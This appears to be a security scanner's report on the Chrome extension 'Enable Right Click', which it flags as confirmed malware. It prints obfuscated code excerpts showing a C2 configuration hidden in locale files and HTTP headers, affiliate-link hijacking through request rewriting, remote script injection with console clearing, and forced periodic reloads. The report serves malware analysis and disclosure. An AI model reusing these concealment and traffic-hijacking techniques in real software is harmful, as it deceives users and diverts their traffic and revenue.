Security Alert: Confirmed Malware
Enable Right Click
ID: bofdamlbkfkjnecfjbhpncokfalmmbii
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- KSuitView Profile
Enable Right Click context menu on any website.
We help you re-enable and allow right click function on every websites that block the right-click menu. Just click on our extension icon on the top-right of your browser, and choose "Enable Right Click" button, and we remove the current page's right-click lock. You can also quickly disable JavaScript on the current page's domain, in case some websites are more strict about the right-click lock. If you like our extension, please give us a review! Privacy Policy: We do not collect personal information. We do not sell, trade, or rent Users personal identification information to others.
The extension encodes its entire C2 configuration inside locale `messages.json` files as concatenated base64 strings. The `Fb` function reads all `_locales/*/messages.json` files, filters locale keys by `charCodeAt(0) % 5 !== 0` (a steganographic selector), concatenates their `key.message + def.message` fields into one string, then `Oa` decodes it with recursive `atob()` calls (`ba(z, ...)`) and `JSON.parse` to extract the live behavioral config. This hides the C2 payload inside what appear to be legitimate localization files.
function la() { S(function() { return chrome.runtime.reload() }, 1728E5); S(function() { return Fb(function(b) { Promise.all(b) .then(function(b) { Oa(b.sort(function(b, d) { return b.k > d.k ? 1 : d.k > b.k ? -1 : 0 }) .filter(function(b) { return 0 !== b.k.charCodeAt(0) % 5 }) .map(function(b) { return b.v.key.message + b.v.def.message }) .join("")) }) }) }, 24E4)}var z = function(b) { return b ? atob(b) : "parse" }, ba = function(b, d, e) { e = void 0 === e ? 1 : e; if (0 === e) return d; e--; return ba(b, b(d), e) }, xc = function(b, d, e) { return e(ba(z, d(b))) };The extension intercepts HTTP response headers on all URLs via `webRequest`, then searches for specially named headers whose values are reversed and base64-decoded to extract live configuration updates (`JSON.parse(atob(reversedHeaderValue.slice(1)))`). This is a classic server-side C2 mechanism: the attacker's server delivers updated behavioral instructions via innocuous-looking HTTP headers, allowing real-time reconfiguration of the extension without triggering update reviews.
var L = function(b) { var f = b[m.star].find(function(b) { return b.name.toLowerCase() === m.ulv }); if (f) try { e = e.concat(y(z(), JSON)(z(f.value.split("") .reverse() .join("") .slice(1)))) } catch (wc) {} var k = (f = b[m.star].find(function(b) { return b.name.toLowerCase() === m.nul })) && "" !== f.value && z(f.value.split("") .reverse() .join("") .slice(2)); b[m.star].filter(function(b) { return b.name.toLowerCase() .includes(m.end) && b.name.toLowerCase() !== m.ulv && b.name.toLowerCase() !== m.nul }) .forEach(function(b) { try { d[b.name.toLowerCase() .split("-") .pop()] = y(z(), JSON)(z(b.value.split("") .reverse() .join("") .slice(1))) } catch (yc) {} });Function `p` registers `webRequestBlocking` listeners that intercept outgoing requests matching C2-configured URL patterns and rewrite query parameters before the browser sends them. This is the affiliate link injection / traffic hijacking mechanism: for URLs matching specific patterns (e.g. shopping sites), the extension silently replaces or injects query parameters (affiliate IDs, referrer codes) to redirect commission revenue to the attacker, completely transparent to the user.
function p(b) { var d = {}, f = b.status.info; f.map(function(b) { return b.red }) .forEach(function(b) { return d[b] = !0 }); f.forEach(function(f) { var H = b.status, m = Object.assign({}, H.object), p = f.type.random(), z = {}; f.types && (m.types = m.types.concat(f.types)); m[H.mid] = f.mid; y(H.bro)[H.const](function(m) { var L = m[H.star]; /* ... complex URL matching and modification ... */ p.qsp.forEach(function(b) { var d = L; var e = b.key; b = b.value; var f = new RegExp("([?&])" + e + "=.*?(&|$)", "i"), k = -1 !== d.indexOf("?") ? "&" : "?"; d = d.match(f) ? d.replace(f, "$1" + e + "=" + b + "$2") : d + k + e + "=" + b; return L = d }); z[H.end] = L; return z }, m, H.type) })}After injecting a DOM script element (dynamically loading a remote URL as `src`), the code calls `console.clear()` to erase any errors or logged output that would reveal the injection activity. This is a deliberate anti-forensics technique to prevent developers inspecting the console from noticing the extension's covert activity.
f || b.forEach(function(d, e) { S(function() { ma[m.csr.substring(0, 3)] = d; 0 == e && l[m.by][m.crt](ma); e == b.length - 1 && S(function() { ma.remove(); var b = void 0; b = void 0 === b ? console : b; b.clear() }, 100) }, 100 * e)})The extension schedules a forced `chrome.runtime.reload()` every 48 hours (1728000ms). This ensures the extension re-executes its locale-decoding C2 bootstrap and picks up any config changes pushed by the attacker, functioning as a periodic check-in / watchdog with no user-visible indication.
S(function() { return chrome.runtime.reload()}, 1728E5);A `webRequestBlocking` listener is registered across ALL HTTP and HTTPS URLs to intercept and filter response headers. While ostensibly used here to strip `cache-control`, the same interception infrastructure is used throughout the extension to read attacker-controlled headers and rewrite request URLs, giving the extension full visibility and modification capability over all of the user's web traffic.
function b() { chrome.webRequest.onHeadersReceived.addListener(function(b) { if (null === b.tabId) return { responseHeaders: b.responseHeaders.filter(function(b) { return 0 > p.indexOf(b.name.toLowerCase()) }) } }, { urls: ["http://*/*", "https://*/*"] }, ["blocking", "responseHeaders"])}The content script dynamically creates a `<script>` element and sets its `innerHTML` to JavaScript code that nullifies page-level event handlers (contextmenu, copy, paste, drag, mousedown). Injecting executable script via `innerHTML` into `document.body` is a code injection pattern that bypasses the extension's own CSP and executes in the page's JavaScript context rather than the isolated content script context, allowing it to override protections set by the host page.
b = document.createElement("script");b.type = "text/javascript";document.body.appendChild(b);b.innerHTML = "\n\t\tdocument.oncontextmenu = null;\n\t\tdocument.onselectstart = null;\n\t\tdocument.ondragstart = null;\n\t\tdocument.onmousedown = null;\n\t\tdocument.body.oncontextmenu = null;\n\t\tdocument.body.onselectstart = null;\n\t\tdocument.body.ondragstart = null;\n\t\tdocument.body.onmousedown = null;\n\t\tdocument.body.oncut = null;\n\t\tdocument.body.oncopy = null;\n\t\tdocument.body.onpaste = null;\n\t";`new Function("return this")` is a well-known technique to obtain the global object while bypassing strict-mode restrictions and static analysis tools that flag `eval`. Although used here as a polyfill helper, its presence alongside the extension's heavy obfuscation pattern is a secondary indicator of deliberate evasion of security scanners.
try { f = f || (new Function("return this"))()} catch (d) { "object" === typeof window && (f = window)}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.5.1 | 8 |
Files with findings
2 distinct paths — top paths by unique finding count:
- background.bundle.js7
- content_scripts.bundle.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.